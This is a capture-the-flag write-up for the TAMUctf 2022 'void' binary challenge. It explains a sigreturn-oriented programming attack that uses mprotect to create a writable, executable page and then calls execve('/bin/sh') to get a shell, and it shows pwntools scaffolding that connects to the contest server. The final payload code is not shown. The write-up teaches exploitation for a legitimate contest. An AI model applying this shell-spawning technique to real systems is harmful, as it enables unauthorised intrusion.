Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
0x2 Vulnerability
This is a SROP challenge.
In order to call syscall(59,'/bin/sh',0,0), we need find a writable memory page to write our string at. But the binary itself does not have a writable region except stack.
However, their is no way we can output the stack address using write, since rdi never set to 1 (stdout).
Therefore, we need to use mprotect to create an rwx memory page so that we can write stack or put shellcode on.
To do that, we also need to set rsp to a address on the memory space which point back to the instructions. So when ret is called, it will go back to the executable instruction.
luckily, in 0x004020b8, there is address that point back to main. So we can happily point rsp to there and make whole 0x00402000-0x00403000 page writable.
1 2 3
0x004020b8 0x0000000000401000 ..@..... 4198400 /home/aynakeya/ctf/tamuctf2022/void/void .text main,section..text,segment.LOAD1,.text,main,map._home_aynakeya_ctf_tamuctf2022_void_void.r_x main program R X 'mov rax, 0' 'void' 0x004020c0 ..[ null bytes ].. 00000000 0x004020c8 0x0003000300000000 ........
After that, we can continue do another sigreturn there and execute execve("/bin/sh") to get shell.
# Set up pwntools for the correct architecture exe = context.binary = ELF(BinaryInfo.exe) exe_rop = ROP(exe) if BinaryInfo.libc != "": libc = ELF(BinaryInfo.libc) libc_rop = ROP(libc) else: libc = None libc_rop = None
# Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or BinaryInfo.host port = int(args.PORT or BinaryInfo.port)
def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = remote("tamuctf.com", 443, ssl=True, sni="void") if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw)
# =========================================================== # EXPLOIT GOES HERE # =========================================================== # Arch: amd64-64-little # RELRO: No RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000)
# Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' tbreak main continue '''.format(**locals())
def wait_for_debugger(io): if args.LOCAL and input("debugger?") == "y\n": pid = util.proc.pidof(io)[0] log_print("The pid is: " + str(pid)) util.proc.wait_for_debugger(pid) log_print("press enter to continue")